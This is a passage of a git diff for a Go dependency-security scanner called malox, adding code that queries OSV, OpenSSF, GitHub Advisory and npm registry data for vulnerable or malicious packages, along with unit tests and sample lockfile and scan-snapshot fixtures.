defaultTimeout = 10 * time.Second +) + +// ErrRequiredSourceUnavailable reports that a required source could not answer. +var ErrRequiredSourceUnavailable = errors.New("required threat source unavailable") + +// Options configures one threat-intelligence pass. +type Options struct { + Store cache.GlobalStore + Offline bool + Sources []string + RequiredSources []string + HTTPClient *http.Client + OSVURL string + NPMRegistryURL string + Timeout time.Duration + Now func() time.Time +} + +// Result contains normalized threat findings and source health. +type Result struct { + Findings []rules.Finding + Sources []scan.ThreatSourceStatus +} + +// Evaluate queries all configured sources for the dependency inventory. +func Evaluate(ctx context.Context, inv node.Inventory, opts Options) (Result, error) { + if err := ctx.Err(); err != nil { + return Result{}, fmt.Errorf("evaluate threat sources: %w", err) + } + opts = opts.withDefaults() + if err := opts.Store.Ensure(ctx); err != nil { + return Result{}, fmt.Errorf("prepare threat cache: %w", err) + } + + result := Result{ + Findings: []rules.Finding{}, + Sources: []scan.ThreatSourceStatus{}, + } + for _, source := range normalizeSources(opts.Sources) { + findings, status, err := evaluateSource(ctx, source, inv, opts) + status.Required = opts.required(source) + result.Sources = append(result.Sources, status) + if err != nil { + if opts.required(source) { + return result, fmt.Errorf("%w: %s: %v", ErrRequiredSourceUnavailable, source, err) + } + continue + } + result.Findings = append(result.Findings, findings...) + } + sortResult(&result) + return result, nil +} + +// UpdateSource prepares source cache state for cache update commands. +func UpdateSource(ctx context.Context, opts Options, source string) ([]cache.SourceChange, []string, error) { + opts = opts.withDefaults() + if err := opts.Store.Ensure(ctx); err != nil { + return nil, nil, err + } + source = normalizeSource(source) + if source == "" || source == "builtin-rules" { + return nil, nil, nil + } + warnings := []string{} + change := cache.SourceChange{Source: source} + if opts.Offline { + change.Warnings = append(change.Warnings, "offline mode: remote source update skipped") + return []cache.SourceChange{change}, warnings, nil + } + switch source { + case SourceOSV, SourceNPM: + change.Warnings = append(change.Warnings, "source is package-specific and is refreshed during scan") + case SourceOpenSSF, SourceGitHubAdvisory: + change.Warnings = append(change.Warnings, "source reads cached mirror records; configure or populate the cache before scanning") + case SourceLocalPolicy: + change.Warnings = append(change.Warnings, "local policy source is evaluated from configured rule files during scan") + default: + return nil, nil, fmt.Errorf("unknown threat source %q", source) + } + return []cache.SourceChange{change}, warnings, nil +} + +func evaluateSource( + ctx context.Context, + source string, + inv node.Inventory, + opts Options, +) ([]rules.Finding, scan.ThreatSourceStatus, error) { + status := newStatus(source, opts) + switch source { + case SourceLocalPolicy: + status.Status = "available" + status.Records = len(inv.Dependencies) + return nil, status, nil + case SourceOSV: + return evaluateOSV(ctx, inv, opts, status) + case SourceOpenSSF: + return evaluateCachedOSVRecords(ctx, inv, opts, status, SourceOpenSSF, rules.ConfidenceConfirmedMalicious) + case SourceGitHubAdvisory: + return evaluateCachedOSVRecords(ctx, inv, opts, status, SourceGitHubAdvisory, rules.ConfidenceKnownVulnerable) + case SourceNPM: + return evaluateNPM(ctx, inv, opts, status) + default: + status.Status = "unavailable" + status.Warning = "unknown threat source" + return nil, status, fmt.Errorf("unknown threat source %q", source) + } +} + +func evaluateOSV( + ctx context.Context, + inv node.Inventory, + opts Options, + status scan.ThreatSourceStatus, +) ([]rules.Finding, scan.ThreatSourceStatus, error) { + deps := exactPURLDeps(inv.Dependencies) + if len(deps) == 0 { + status.Status = "available" + status.Warning = "no exact package URLs to query" + return nil, status, nil + } + + cachePath := filepath.Join(opts.Store.Dir(), "sources", SourceOSV, "querybatch", batchKey(deps)+".json") + var response osvQueryBatchResponse + var metadata cache.SourceMetadata + if opts.Offline { + if err := readJSON(cachePath, &response); err != nil { + status.Status = "missing" + status.Warning = "cached OSV querybatch result is unavailable" + return nil, status, err + } + status.Status = "cached" + status.Mode = "offline" + } else { + reqBody := newOSVRequest(deps) + body, err := json.Marshal(reqBody) + if err != nil { + status.Status = "unavailable" + status.Warning = err.Error() + return nil, status, err + } + data, err := postJSON(ctx, opts, opts.osvURL()+"/v1/querybatch", body) + if err != nil { + status.Status = "unavailable" + status.Warning = err.Error() + return nil, status, err + } + if err := json.Unmarshal(data, &response); err != nil { + status.Status = "unavailable" + status.Warning = "invalid OSV response" + return nil, status, err + } + if err := cache.WriteFileAtomic(ctx, cachePath, append(data, '\n'), 0o644); err != nil { + return nil, status, err + } + metadata = sourceMetadata(SourceOSV, "vulnerability", "varies by OSV record", len(response.Results), opts.now()) + if err := writeSourceMetadata(ctx, opts.Store.Dir(), SourceOSV, metadata); err != nil { + return nil, status, err + } + status.Status = "updated" + } + if metadata.Source == "" { + metadata = readSourceMetadata(opts.Store.Dir(), SourceOSV) + } + applyMetadata(&status, metadata, opts.now()) + findings := osvFindings(SourceOSV, deps, response.Results, rules.ConfidenceKnownVulnerable) + status.Records = len(findings) + return findings, status, nil +} + +func evaluateCachedOSVRecords( + ctx context.Context, + inv node.Inventory, + opts Options, + status scan.ThreatSourceStatus, + source string, + confidence rules.Confidence, +) ([]rules.Finding, scan.ThreatSourceStatus, error) { + _ = ctx + deps := exactPURLDeps(inv.Dependencies) + records, err := readCachedOSVRecords(opts.Store.Dir(), source) + if err != nil { + status.Status = "missing" + status.Warning = "cached source records are unavailable" + return nil, status, err + } + findings := []rules.Finding{} + for _, record := range records { + for _, dep := range deps { + if !record.affects(dep) { + continue + } + findings = append(findings, recordFinding(source, dep, record.ID, record.summary(), confidence)) + } + } + metadata := readSourceMetadata(opts.Store.Dir(), source) + status.Status = "cached" + applyMetadata(&status, metadata, opts.now()) + status.Records = len(records) + return findings, status, nil +} + +func evaluateNPM( + ctx context.Context, + inv node.Inventory, + opts Options, + status scan.ThreatSourceStatus, +) ([]rules.Finding, scan.ThreatSourceStatus, error) { + deps := npmDeps(inv.Dependencies) + if len(deps) == 0 { + status.Status = "available" + status.Warning = "no npm dependencies to query" + return nil, status, nil + } + findings := []rules.Finding{} + updated := 0 + var etag, lastModified string + for _, dep := range deps { + packument, headers, err := loadNPMPackument(ctx, opts, dep) + if err != nil { + if opts.Offline { + status.Status = "missing" + status.Warning = "cached npm metadata is unavailable" + } else { + status.Status = "unavailable" + status.Warning = err.Error() + } + return findings, status, err + } + if !opts.Offline { + updated++ + etag = cmp.Or(headers.Get("ETag"), etag) + lastModified = cmp.Or(headers.Get("Last-Modified"), lastModified) + } + if finding, ok := npmDeprecatedFinding(dep, packument); ok { + findings = append(findings, finding) + } + } + if !opts.Offline { + metadata := sourceMetadata(SourceNPM, "registry", "npm registry metadata terms", updated, opts.now()) + metadata.ETag = etag + metadata.LastModified = lastModified + if err := writeSourceMetadata(ctx, opts.Store.Dir(), SourceNPM, metadata); err != nil { + return nil, status, err + } + status.Status = "updated" + applyMetadata(&status, metadata, opts.now()) + } else { + status.Status = "cached" + applyMetadata(&status, readSourceMetadata(opts.Store.Dir(), SourceNPM), opts.now()) + } + status.Records = len(deps) + return findings, status, nil +} + +func loadNPMPackument(ctx context.Context, opts Options, dep node.Dependency) (npmPackument, http.Header, error) { + path := filepath.Join(opts.Store.Dir(), "sources", SourceNPM, "packuments", packageKey(dep.Name)+".json") + var packument npmPackument + if opts.Offline { + return packument, nil, readJSON(path, &packument) + } + data, headers, err := get(ctx, opts, opts.npmRegistryURL()+"/"+escapeNPMName(dep.Name)) + if err != nil { + return packument, nil, err + } + if err := json.Unmarshal(data, &packument); err != nil { + return packument, nil, err + } + if err := cache.WriteFileAtomic(ctx, path, append(data, '\n'), 0o644); err != nil { + return packument, nil, err + } + return packument, headers, nil +} + +func postJSON(ctx context.Context, opts Options, endpoint string, body []byte) ([]byte, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodPost, endpoint, bytes.NewReader(body)) + if err != nil { + return nil, err + } + req.Header.Set("Content-Type", "application/json") + data, _, err := do(ctx, opts, req) + return data, err +} + +func get(ctx context.Context, opts Options, endpoint string) ([]byte, http.Header, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil) + if err != nil { + return nil, nil, err + } + data, headers, err := do(ctx, opts, req) + if err != nil { + return nil, nil, err + } + return data, headers, nil +} + +func do(ctx context.Context, opts Options, req *http.Request) ([]byte, http.Header, error) { + timeout := opts.Timeout + if timeout <= 0 { + timeout = defaultTimeout + } + ctx, cancel := context.WithTimeout(req.Context(), timeout) + defer cancel() + req = req.WithContext(ctx) + + var lastErr error + for attempt := range 2 { + resp, err := opts.httpClient().Do(req) + if err != nil { + lastErr = err + continue + } + data, readErr := readHTTPResponse(resp) + if readErr != nil { + lastErr = readErr + continue + } + if resp.StatusCode >= http.StatusInternalServerError && attempt == 0 { + lastErr = fmt.Errorf("server returned %s", resp.Status) + continue + } + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, nil, fmt.Errorf("server returned %s", resp.Status) + } + return data, resp.Header, nil + } + return nil, nil, lastErr +} + +func readHTTPResponse(resp *http.Response) ([]byte, error) { + defer resp.Body.Close() + data, err := io.ReadAll(io.LimitReader(resp.Body, 10<<20)) + if err != nil { + return nil, err + } + return data, nil +} + +func sortResult(result *Result) { + slices.SortFunc(result.Findings, func(a, b rules.Finding) int { + return strings.Compare(rules.FindingIdentity(a)+"\x00"+a.ID, rules.FindingIdentity(b)+"\x00"+b.ID) + }) + slices.SortFunc(result.Sources, func(a, b scan.ThreatSourceStatus) int { + return strings.Compare(a.Source, b.Source) + }) +} + +func normalizeSources(sources []string) []string { + if len(sources) == 0 { + sources = []string{SourceLocalPolicy} + } + out := make([]string, 0, len(sources)) + seen := map[string]struct{}{} + for _, source := range sources { + source = normalizeSource(source) + if source == "" { + continue + } + if _, ok := seen[source]; ok { + continue + } + seen[source] = struct{}{} + out = append(out, source) + } + return out +} + +func normalizeSource(source string) string { + switch strings.ToLower(strings.TrimSpace(source)) { + case "", "builtin-rules": + return strings.ToLower(strings.TrimSpace(source)) + case "local", "local-rules", "local-policy": + return SourceLocalPolicy + case "osv", "osv.dev": + return SourceOSV + case "openssf", "openssf-malicious", "openssf-malicious-packages": + return SourceOpenSSF + case "github", "github-advisory", "github-advisory-database", "ghsa": + return SourceGitHubAdvisory + case "npm", "npm-registry": + return SourceNPM + default: + return strings.ToLower(strings.TrimSpace(source)) + } +} + +func (opts Options) withDefaults() Options { + if opts.Sources == nil { + opts.Sources = []string{SourceLocalPolicy} + } + return opts +} + +func (opts Options) httpClient() *http.Client { + if opts.HTTPClient != nil { + return opts.HTTPClient + } + return &http.Client{Timeout: opts.Timeout} +} + +func (opts Options) osvURL() string { + if opts.OSVURL != "" { + return strings.TrimRight(opts.OSVURL, "/") + } + return defaultOSVURL +} + +func (opts Options) npmRegistryURL() string { + if opts.NPMRegistryURL != "" { + return strings.TrimRight(opts.NPMRegistryURL, "/") + } + return defaultNPMRegistryURL +} + +func (opts Options) now() time.Time { + if opts.Now != nil { + return opts.Now().UTC() + } + return time.Now().UTC() +} + +func (opts Options) required(source string) bool { + source = normalizeSource(source) + for _, required := range opts.RequiredSources { + if normalizeSource(required) == source { + return true + } + } + return false +} + +func newStatus(source string, opts Options) scan.ThreatSourceStatus { + mode := "online" + if opts.Offline { + mode = "offline" + } + return scan.ThreatSourceStatus{ + SchemaVersion: cache.SourceMetadataSchemaVersion, + Source: source, + Status: "unknown", + Mode: mode, + } +} + +func exactPURLDeps(deps []node.Dependency) []node.Dependency { + out := make([]node.Dependency, 0, len(deps)) + for _, dep := range deps { + if dep.PURL == "" || dep.Version == "" { + continue + } + out = append(out, dep) + } + slices.SortFunc(out, func(a, b node.Dependency) int { + return strings.Compare(a.PURL, b.PURL) + }) + return out +} + +func npmDeps(deps []node.Dependency) []node.Dependency { + out := make([]node.Dependency, 0, len(deps)) + for _, dep := range deps { + if strings.HasPrefix(dep.PURL, "pkg:npm/") && dep.Name != "" { + out = append(out, dep) + } + } + slices.SortFunc(out, func(a, b node.Dependency) int { + return strings.Compare(a.Name+"\x00"+a.Version, b.Name+"\x00"+b.Version) + }) + return out +} + +func batchKey(deps []node.Dependency) string { + h := sha256.New() + for _, dep := range deps { + _, _ = io.WriteString(h, dep.PURL+"\n") + } + return hex.EncodeToString(h.Sum(nil)) +} + +func packageKey(name string) string { + sum := sha256.Sum256([]byte(strings.ToLower(name))) + return hex.EncodeToString(sum[:]) +} + +func readJSON(path string, target any) error { + data, err := os.ReadFile(path) + if err != nil { + return err + } + if err := json.Unmarshal(data, target); err != nil { + return fmt.Errorf("parse %q: %w", path, err) + } + return nil +} + +func writeSourceMetadata(ctx context.Context, root, source string, metadata cache.SourceMetadata) error { + data, err := json.MarshalIndent(metadata, "", " ") + if err != nil { + return err + } + data = append(data, '\n') + return cache.WriteFileAtomic(ctx, filepath.Join(root, "sources", source, "metadata.json"), data, 0o644) +} + +func readSourceMetadata(root, source string) cache.SourceMetadata { + metadata, err := cache.ReadSourceMetadata(filepath.Join(root, "sources", source, "metadata.json")) + if err != nil { + return cache.SourceMetadata{} + } + return metadata +} + +func sourceMetadata(source, sourceType, license string, records int, now time.Time) cache.SourceMetadata { + return cache.SourceMetadata{ + SchemaVersion: cache.SourceMetadataSchemaVersion, + Source: source, + FetchedAt: now, + License: license, + SourceType: sourceType, + TTL: (24 * time.Hour).String(), + RecordCount: records, + } +} + +func applyMetadata(status *scan.ThreatSourceStatus, metadata cache.SourceMetadata, now time.Time) { + if metadata.Source == "" { + return + } + status.FetchedAt = metadata.FetchedAt + status.Records = metadata.RecordCount + if !metadata.FetchedAt.IsZero() { + status.CacheAge = now.Sub(metadata.FetchedAt).Round(time.Second).String() + } +} + +func escapeNPMName(name string) string { + if strings.HasPrefix(name, "@") { + return strings.ReplaceAll(url.PathEscape(name), "%2F", "%2f") + } + return url.PathEscape(name) +} diff --git a/internal/threat/threat_test.go b/internal/threat/threat_test.go new file mode 100644 index 0000000..1c4a9d3 --- /dev/null +++ b/internal/threat/threat_test.go @@ -0,0 +1,236 @@ +package threat + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "path/filepath" + "testing" + "time" + + "malox/internal/cache" + "malox/internal/node" + "malox/internal/rules" +) + +func TestOSVQueryBatchProducesKnownVulnerableFindingAndOfflineCache(t *testing.T) { + store := newTestStore(t) + var requests int + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + requests++ + if r.URL.Path != "/v1/querybatch" { + t.Fatalf("path = %q, want /v1/querybatch", r.URL.Path) + } + if r.Method != http.MethodPost { + t.Fatalf("method = %s, want POST", r.Method) + } + _, _ = w.Write([]byte(`{ + "results": [{ + "vulns": [{ + "id": "GHSA-test", + "summary": "test vulnerability", + "affected": [{ + "package": {"purl": "pkg:npm/left-pad@1.3.0"}, + "versions": ["1.3.0"] + }] + }] + }] +}`)) + })) + defer server.Close() + + inv := testInventory() + result, err := Evaluate(t.Context(), inv, Options{ + Store: store, + Sources: []string{SourceOSV}, + OSVURL: server.URL, + Now: fixedNow, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + if requests != 1 { + t.Fatalf("requests = %d, want 1", requests) + } + assertFinding(t, result.Findings, SourceOSV, rules.ConfidenceKnownVulnerable) + + server.Close() + offline, err := Evaluate(t.Context(), inv, Options{ + Store: store, + Offline: true, + Sources: []string{SourceOSV}, + OSVURL: server.URL, + Now: fixedNow, + }) + if err != nil { + t.Fatalf("offline Evaluate() error = %v", err) + } + assertFinding(t, offline.Findings, SourceOSV, rules.ConfidenceKnownVulnerable) + if len(offline.Sources) != 1 || offline.Sources[0].Mode != "offline" || offline.Sources[0].Status != "cached" { + t.Fatalf("offline sources = %#v, want cached offline status", offline.Sources) + } +} + +func TestOpenSSFCacheProducesConfirmedMaliciousFinding(t *testing.T) { + store := newTestStore(t) + record := osvRecord{ + ID: "MAL-2026-left-pad", + Summary: "malicious package", + Affected: []osvAffected{{ + Package: osvPackage{Name: "left-pad", Ecosystem: "npm"}, + Versions: []string{"1.3.0"}, + }}, + } + writeJSON(t, filepath.Join(store.Dir(), "sources", SourceOpenSSF, "records", "left-pad.json"), record) + + result, err := Evaluate(t.Context(), testInventory(), Options{ + Store: store, + Offline: true, + Sources: []string{SourceOpenSSF}, + Now: fixedNow, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + assertFinding(t, result.Findings, SourceOpenSSF, rules.ConfidenceConfirmedMalicious) + if !result.Findings[0].Blocking { + t.Fatal("OpenSSF malicious finding Blocking = false, want true") + } +} + +func TestGitHubAdvisoryCacheProducesKnownVulnerableFinding(t *testing.T) { + store := newTestStore(t) + record := osvRecord{ + ID: "GHSA-left-pad", + Summary: "cached advisory", + Affected: []osvAffected{{ + Package: osvPackage{Name: "left-pad", Ecosystem: "npm"}, + Ranges: []osvRange{{ + Type: "SEMVER", + Events: []osvEvent{ + {Introduced: "0"}, + {Fixed: "1.3.1"}, + }, + }}, + }}, + } + writeJSON(t, filepath.Join(store.Dir(), "sources", SourceGitHubAdvisory, "records", "left-pad.json"), record) + + result, err := Evaluate(t.Context(), testInventory(), Options{ + Store: store, + Offline: true, + Sources: []string{SourceGitHubAdvisory}, + Now: fixedNow, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + assertFinding(t, result.Findings, SourceGitHubAdvisory, rules.ConfidenceKnownVulnerable) +} + +func TestNPMRegistryMetadataCachesHeadersAndDeprecatedFinding(t *testing.T) { + store := newTestStore(t) + server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/left-pad" { + t.Fatalf("path = %q, want /left-pad", r.URL.Path) + } + w.Header().Set("ETag", `"abc"`) + w.Header().Set("Last-Modified", "Thu, 18 Jun 2026 12:00:00 GMT") + _, _ = w.Write([]byte(`{ + "name": "left-pad", + "versions": { + "1.3.0": { + "name": "left-pad", + "version": "1.3.0", + "deprecated": "use String.prototype.padStart", + "dist": {"tarball": "https://registry.example/left-pad/-/left-pad-1.3.0.tgz"} + } + } +}`)) + })) + defer server.Close() + + result, err := Evaluate(t.Context(), testInventory(), Options{ + Store: store, + Sources: []string{SourceNPM}, + NPMRegistryURL: server.URL, + Now: fixedNow, + }) + if err != nil { + t.Fatalf("Evaluate() error = %v", err) + } + assertFinding(t, result.Findings, SourceNPM, rules.ConfidenceSuspiciousHistory) + + metadata, err := cache.ReadSourceMetadata(filepath.Join(store.Dir(), "sources", SourceNPM, "metadata.json")) + if err != nil { + t.Fatalf("ReadSourceMetadata() error = %v", err) + } + if metadata.ETag != `"abc"` || metadata.LastModified == "" { + t.Fatalf("metadata headers = %#v, want etag and last-modified", metadata) + } +} + +func TestRequiredSourceFailureReturnsSentinel(t *testing.T) { + store := newTestStore(t) + _, err := Evaluate(context.Background(), testInventory(), Options{ + Store: store, + Sources: []string{SourceOSV}, + RequiredSources: []string{SourceOSV}, + OSVURL: "http://127.0.0.1:1", + }) + if err == nil { + t.Fatal("Evaluate() error = nil, want required source failure") + } +} + +func newTestStore(t *testing.T) cache.GlobalStore { + t.Helper() + store, err := cache.NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + if err := store.Ensure(t.Context()); err != nil { + t.Fatalf("Ensure() error = %v", err) + } + return store +} + +func testInventory() node.Inventory { + return node.Inventory{ + SchemaVersion: node.SchemaVersion, + Dependencies: []node.Dependency{{ + Name: "left-pad", + Version: "1.3.0", + PURL: "pkg:npm/left-pad@1.3.0", + PackageManager: "npm", + SourcePath: "package-lock.json", + PackagePath: "node_modules/left-pad", + }}, + } +} + +func assertFinding(t *testing.T, findings []rules.Finding, source string, confidence rules.Confidence) { + t.Helper() + if len(findings) != 1 { + t.Fatalf("findings = %#v, want one", findings) + } + if findings[0].Source != source || findings[0].Confidence != confidence { + t.Fatalf("finding = %#v, want source %s confidence %s", findings[0], source, confidence) + } +} + +func writeJSON(t *testing.T, path string, value any) { + t.Helper() + data, err := json.MarshalIndent(value, "", " ") + if err != nil { + t.Fatal(err) + } + if err := cache.WriteFileAtomic(t.Context(), path, append(data, '\n'), 0o644); err != nil { + t.Fatal(err) + } +} + +func fixedNow() time.Time { + return time.Date(2026, 6, 18, 12, 0, 0, 0, time.UTC) +} diff --git a/testdata/node/bun/bun.lock b/testdata/node/bun/bun.lock new file mode 100644 index 0000000..77a48a3 --- /dev/null +++ b/testdata/node/bun/bun.lock @@ -0,0 +1,14 @@ +{ + // bun.lock is JSONC. + "lockfileVersion": 0, + "workspaces": { + "": { + "dependencies": { + "debug": "4.3.7", + }, + }, + }, + "packages": { + "debug": ["debug@4.3.7", {}, "debug-4.3.7"], + }, +} diff --git a/testdata/node/bun/package.json b/testdata/node/bun/package.json new file mode 100644 index 0000000..68a0d81 --- /dev/null +++ b/testdata/node/bun/package.json @@ -0,0 +1,7 @@ +{ + "name": "bun-app", + "version": "1.0.0", + "dependencies": { + "debug": "4.3.7" + } +} diff --git a/testdata/node/deno/deno.json b/testdata/node/deno/deno.json new file mode 100644 index 0000000..4b42edc --- /dev/null +++ b/testdata/node/deno/deno.json @@ -0,0 +1,8 @@ +{ + "imports": { + "left-pad": "npm:left-pad@1.3.0" + }, + "tasks": { + "check": "deno check mod.ts" + } +} diff --git a/testdata/node/deno/deno.lock b/testdata/node/deno/deno.lock new file mode 100644 index 0000000..6ff8395 --- /dev/null +++ b/testdata/node/deno/deno.lock @@ -0,0 +1,8 @@ +{ + "version": 4, + "packages": { + "npm:left-pad@1.3.0": { + "integrity": "sha512-deno-left" + } + } +} diff --git a/testdata/node/npm/.malox/indexes/files.jsonl b/testdata/node/npm/.malox/indexes/files.jsonl new file mode 100644 index 0000000..139c652 --- /dev/null +++ b/testdata/node/npm/.malox/indexes/files.jsonl @@ -0,0 +1,3 @@ +{"schema_version":"malox.files.index.v1","scan_id":"2026-06-17T12-44-05.188532000Z","path":"node_modules/left-pad/package.json","size":100,"modified_time":"2026-06-17T12:09:42.945891994Z","mode":"-rw-r--r--","permissions":"0644","sha256":"8de4aaee3bc951d9033df26fab2d2a85490d1057889e0d31cce66a2bf399392a","status":"scanned","state":"previously_unscanned","package_owner":"left-pad"} +{"schema_version":"malox.files.index.v1","scan_id":"2026-06-17T12-44-05.188532000Z","path":"package-lock.json","size":425,"modified_time":"2026-06-17T12:09:42.749192701Z","mode":"-rw-r--r--","permissions":"0644","sha256":"45bcb93faf2ae1f014800bbe44bccbcb6411fd7b445c2ee12bbef6219822862e","status":"scanned","state":"previously_unscanned"} +{"schema_version":"malox.files.index.v1","scan_id":"2026-06-17T12-44-05.188532000Z","path":"package.json","size":158,"modified_time":"2026-06-17T12:09:42.629421891Z","mode":"-rw-r--r--","permissions":"0644","sha256":"eaea84201f0d2d82fc095552afaf67b9267d5ebe5889f1507f38cb9fa5d75069","status":"scanned","state":"previously_unscanned"} diff --git a/testdata/node/npm/.malox/latest.json b/testdata/node/npm/.malox/latest.json new file mode 100644 index 0000000..170d244 --- /dev/null +++ b/testdata/node/npm/.malox/latest.json @@ -0,0 +1,185 @@ +{ + "schema_version": "malox.scan.snapshot.v1", + "scanner_version": "dev", + "scan_id": "2026-06-17T12-44-05.188532000Z", + "project_id": "sha256:76211976caa22d1bb6f0a3b46247ebd47557f5633e60257b2400585465fb358f", + "project_root": ".", + "started_at": "2026-06-17T12:44:05.188532Z", + "finished_at": "2026-06-17T12:44:05.189856Z", + "package_manager_signals": [ + { + "manager": "node", + "kind": "dependency_directory", + "path": "node_modules" + }, + { + "manager": "node", + "kind": "manifest", + "path": "node_modules/left-pad/package.json" + }, + { + "manager": "node", + "kind": "manifest", + "path": "package.json" + }, + { + "manager": "npm", + "kind": "lockfile", + "path": "package-lock.json" + } + ], + "node_inventory": { + "schema_version": "malox.node.inventory.v1", + "package_manager_signals": [ + { + "manager": "node", + "kind": "dependency_directory", + "path": "node_modules" + }, + { + "manager": "node", + "kind": "manifest", + "path": "node_modules/left-pad/package.json" + }, + { + "manager": "node", + "kind": "manifest", + "path": "package.json" + }, + { + "manager": "npm", + "kind": "lockfile", + "path": "package-lock.json" + } + ], + "manifests": [ + { + "path": "node_modules/left-pad/package.json", + "sha256": "8de4aaee3bc951d9033df26fab2d2a85490d1057889e0d31cce66a2bf399392a", + "manager": "node", + "kind": "manifest" + }, + { + "path": "package.json", + "sha256": "eaea84201f0d2d82fc095552afaf67b9267d5ebe5889f1507f38cb9fa5d75069", + "manager": "node", + "kind": "manifest" + } + ], + "lockfiles": [ + { + "path": "package-lock.json", + "sha256": "45bcb93faf2ae1f014800bbe44bccbcb6411fd7b445c2ee12bbef6219822862e", + "manager": "npm", + "kind": "lockfile" + } + ], + "dependencies": [ + { + "name": "left-pad", + "version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "npm", + "dependency_type": "dependencies", + "source_path": "package-lock.json", + "package_path": "node_modules/left-pad", + "integrity": "sha512-left", + "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz", + "scripts": { + "install": "node install.js" + }, + "has_install_script": true + }, + { + "name": "left-pad", + "version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "package.json", + "dependency_type": "dependencies", + "source_path": "package.json" + } + ], + "package_scripts": [ + { + "package_name": "left-pad", + "package_version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "package.json", + "source_path": "node_modules/left-pad/package.json", + "package_path": "node_modules/left-pad", + "script_name": "install", + "command": "node install.js" + }, + { + "package_name": "npm-app", + "package_version": "1.0.0", + "purl": "pkg:npm/npm-app@1.0.0", + "package_manager_source": "package.json", + "source_path": "package.json", + "script_name": "postinstall", + "command": "node scripts/setup.js" + } + ], + "warnings": [], + "summary": { + "manifest_count": 2, + "lockfile_count": 1, + "dependency_count": 2, + "package_scripts": 2, + "warnings": 0 + } + }, + "files": [ + { + "path": "node_modules/left-pad/package.json", + "size": 100, + "modified_time": "2026-06-17T12:09:42.945891994Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "8de4aaee3bc951d9033df26fab2d2a85490d1057889e0d31cce66a2bf399392a", + "type": "node_manifest", + "status": "scanned", + "state": "previously_unscanned", + "package_owner": "left-pad" + }, + { + "path": "package-lock.json", + "size": 425, + "modified_time": "2026-06-17T12:09:42.749192701Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "45bcb93faf2ae1f014800bbe44bccbcb6411fd7b445c2ee12bbef6219822862e", + "type": "lockfile", + "status": "scanned", + "state": "previously_unscanned" + }, + { + "path": "package.json", + "size": 158, + "modified_time": "2026-06-17T12:09:42.629421891Z", + "mode": "-rw-r--r--", + "permissions": "0644", + "symlink": false, + "sha256": "eaea84201f0d2d82fc095552afaf67b9267d5ebe5889f1507f38cb9fa5d75069", + "type": "node_manifest", + "status": "scanned", + "state": "previously_unscanned" + } + ], + "summary": { + "total_files": 3, + "scanned_files": 3, + "skipped_files": 0, + "errored_files": 0, + "skipped_directories": 0, + "package_managers": 4, + "node_modules_files": 1, + "node_modules_packages": 1, + "findings": 0, + "suppressed_findings": 0, + "blocking_findings": 0, + "weak_findings": 0 + } +} diff --git a/testdata/node/npm/.malox/scans/2026-06-17T12-44-05.188532000Z.json b/testdata/node/npm/.malox/scans/2026-06-17T12-44-05.188532000Z.json new file mode 100644 index 0000000..170d244 --- /dev/null +++ b/testdata/node/npm/.malox/scans/2026-06-17T12-44-05.188532000Z.json @@ -0,0 +1,185 @@ +{ + "schema_version": "malox.scan.snapshot.v1", + "scanner_version": "dev", + "scan_id": "2026-06-17T12-44-05.188532000Z", + "project_id": "sha256:76211976caa22d1bb6f0a3b46247ebd47557f5633e60257b2400585465fb358f", + "project_root": ".", + "started_at": "2026-06-17T12:44:05.188532Z", + "finished_at": "2026-06-17T12:44:05.189856Z", + "package_manager_signals": [ + { + "manager": "node", + "kind": "dependency_directory", + "path": "node_modules" + }, + { + "manager": "node", + "kind": "manifest", + "path": "node_modules/left-pad/package.json" + }, + { + "manager": "node", + "kind": "manifest", + "path": "package.json" + }, + { + "manager": "npm", + "kind": "lockfile", + "path": "package-lock.json" + } + ], + "node_inventory": { + "schema_version": "malox.node.inventory.v1", + "package_manager_signals": [ + { + "manager": "node", + "kind": "dependency_directory", + "path": "node_modules" + }, + { + "manager": "node", + "kind": "manifest", + "path": "node_modules/left-pad/package.json" + }, + { + "manager": "node", + "kind": "manifest", + "path": "package.json" + }, + { + "manager": "npm", + "kind": "lockfile", + "path": "package-lock.json" + } + ], + "manifests": [ + { + "path": "node_modules/left-pad/package.json", + "sha256": "8de4aaee3bc951d9033df26fab2d2a85490d1057889e0d31cce66a2bf399392a", + "manager": "node", + "kind": "manifest" + }, + { + "path": "package.json", + "sha256": "eaea84201f0d2d82fc095552afaf67b9267d5ebe5889f1507f38cb9fa5d75069", + "manager": "node", + "kind": "manifest" + } + ], + "lockfiles": [ + { + "path": "package-lock.json", + "sha256": "45bcb93faf2ae1f014800bbe44bccbcb6411fd7b445c2ee12bbef6219822862e", + "manager": "npm", + "kind": "lockfile" + } + ], + "dependencies": [ + { + "name": "left-pad", + "version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "npm", + "dependency_type": "dependencies", + "source_path": "package-lock.json", + "package_path": "node_modules/left-pad", + "integrity": "sha512-left", + "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz", + "scripts": { + "install": "node install.js" + }, + "has_install_script": true + }, + { + "name": "left-pad", + "version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "package.json", + "dependency_type": "dependencies", + "source_path": "package.json" + } + ], + "package_scripts": [ + { + "package_name": "left-pad", + "package_version": "1.3.0", + "purl": "pkg:npm/left-pad@1.3.0", + "package_manager_source": "package.json", + "source_path": "node_modules/left-pad/package.json", + "package_path": "node_modules/left-pad", + "script_name": "install", + "command": "node install.js" + }, + { + "package_name": "npm-app", + "package_version": 